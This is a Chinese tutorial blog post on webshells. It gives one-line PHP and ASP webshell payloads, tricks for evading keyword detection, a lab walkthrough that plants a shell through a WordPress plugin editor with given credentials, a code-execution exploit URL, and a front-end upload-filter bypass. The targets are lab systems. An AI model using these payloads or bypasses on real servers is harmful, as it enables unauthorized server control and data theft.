webshell 概念
web指的是在web服務(wù)器上,而shell是用腳本語言編寫的腳本程序,WebShell是一種用來進(jìn)行網(wǎng)站和服務(wù)器管理的腳本程序,webshell一般是被網(wǎng)站管理員用于網(wǎng)站管理、服務(wù)器管理等等一些用途,但是由于webshell的功能比較強(qiáng)大,可以上傳下載文件,查看數(shù)據(jù)庫,甚至可以調(diào)用一些服務(wù)器上系統(tǒng)的相關(guān)命令(比如創(chuàng)建用戶,修改刪除文件之類的),通常被黑客利用,黑客通過一些上傳方式,將自己編寫的webshell上傳到web服務(wù)器的頁面的目錄下,攻擊者通過上傳WebShell獲得Web服務(wù)器的管理權(quán)限,從而達(dá)到對網(wǎng)站服務(wù)器的滲透和控制。
?
從一個(gè)最簡單的webshell結(jié)構(gòu)可以看出其基本結(jié)構(gòu)
“<?php eval($_POST[‘a(chǎn)’]);?>”
shell的實(shí)現(xiàn)需要兩步:數(shù)據(jù)的傳遞、執(zhí)行所傳遞的數(shù)據(jù)。
Webshell的分類
- 根據(jù)文件大小分類:大馬和小馬(通常指的是一句話木馬,能夠使用菜刀這類工具去直接連接它)
- 根據(jù)腳本名稱分類:jsp、asp、aspx、php
數(shù)據(jù)傳遞&繞過檢測
對于數(shù)據(jù)傳遞,我們通常的做法是使用$_GET、$_POST、$_SERVER、$_COOKIE等獲取客戶端數(shù)據(jù)。但這類關(guān)鍵詞如果直接出現(xiàn)的話,那么可以很容易回溯到,我們有幾種方案來解決這個(gè)問題:
- 利用應(yīng)用本身所在框架的輸入封裝來得到傳遞的數(shù)據(jù)
- 采取某種變通的方式來繞過檢測,譬如使用${"_G"."ET"}。不過這種方式也有自身的缺點(diǎn),可以跟蹤“${”;不過這種跟蹤又可以通過“$/*a*/{”這種方式繞過(當(dāng)然其又有被跟蹤的可能性)。
- 使用其他數(shù)據(jù)獲取方式來獲取數(shù)據(jù),譬如$_REQUEST、$GLOBALS[“_GET”]、$_FILE等。
- 人為構(gòu)造語言缺陷或應(yīng)用漏洞,并且這種缺陷是不易察覺的,譬如偽造管理員session等? ? ? ? ?
使用方法
直接上傳一句話木馬舉例:grade網(wǎng)站
找到數(shù)據(jù)庫是asp格式的網(wǎng)站,然后,以留言板,或者發(fā)表文章的方式,把一句話
<%execute request(“value”)%>
添加到asp數(shù)據(jù)庫
舉例:攻防對抗 http://192.168.7.40/
后臺(tái)登錄頁面:http://192.168.7.40/wp-login.php
admin:iloveyou登錄后臺(tái),修改插件文件來插入shell
然后菜刀鏈接:http://192.168.7.40/wp-admin/plugin-editor.php?plugin=hello.php
找到如命令執(zhí)行漏洞頁面,打開客戶端瀏覽器,填上加入了一句話的asp文件,
舉例:代碼執(zhí)行漏洞。
Exp:/search.php?searchtype=5&tid=&area=phpinfo() /search.php?searchtype=5&tid=&area=eval($_POST[simple])
構(gòu)造一句話小馬,使用菜刀連接? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
WebShell攻擊的原理
WebShell是黑客經(jīng)常使用的一種惡意腳本,原理就是利用Web服務(wù)器自身的環(huán)境運(yùn)行的惡意代碼。從名字來看Web指的是網(wǎng)頁服務(wù),Shell指的是計(jì)算機(jī)程序運(yùn)行的指令命令。這也揭示了WebShell的攻擊方法,就是通過WebShell腳本的上傳,利用網(wǎng)頁服務(wù)程序?qū)崿F(xiàn)操控服務(wù)器的一種方式。以PHP語言為例,只需要編寫一個(gè)簡單的PHP代碼文件,上傳到網(wǎng)站目錄中,就可以對網(wǎng)站服務(wù)器進(jìn)行操控,包括讀取數(shù)據(jù)庫、刪除文件、修改主頁等都可以做到。這么一個(gè)簡單的語句就可以為黑客入侵打開一扇大門,讓黑客可以隨意地執(zhí)行任意代碼
Webshell上傳繞過方法
(一)繞過前臺(tái)腳本檢測擴(kuò)展名上傳Webshell
當(dāng)用戶在客戶端上傳文件的時(shí)候,客戶端與服務(wù)器沒有進(jìn)行任何的信息交互,判斷上傳文件的類型是前臺(tái)腳本文件來判斷。白名單方式檢測:允許jpg,png等文件上傳,如果要上傳php格式文件,可以后面加一個(gè).jpg后綴,提交后用burp進(jìn)行抓包攔截,把jpg后綴刪除。
舉例:文章來源:http://www.zghlxwxcb.cn/news/detail-654029.html
http://127.0.0.1/upload-labs/Pass-01/ burp
改后綴
?文章來源地址http://www.zghlxwxcb.cn/news/detail-654029.html
到了這里,關(guān)于Webshell 及檢測繞過的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!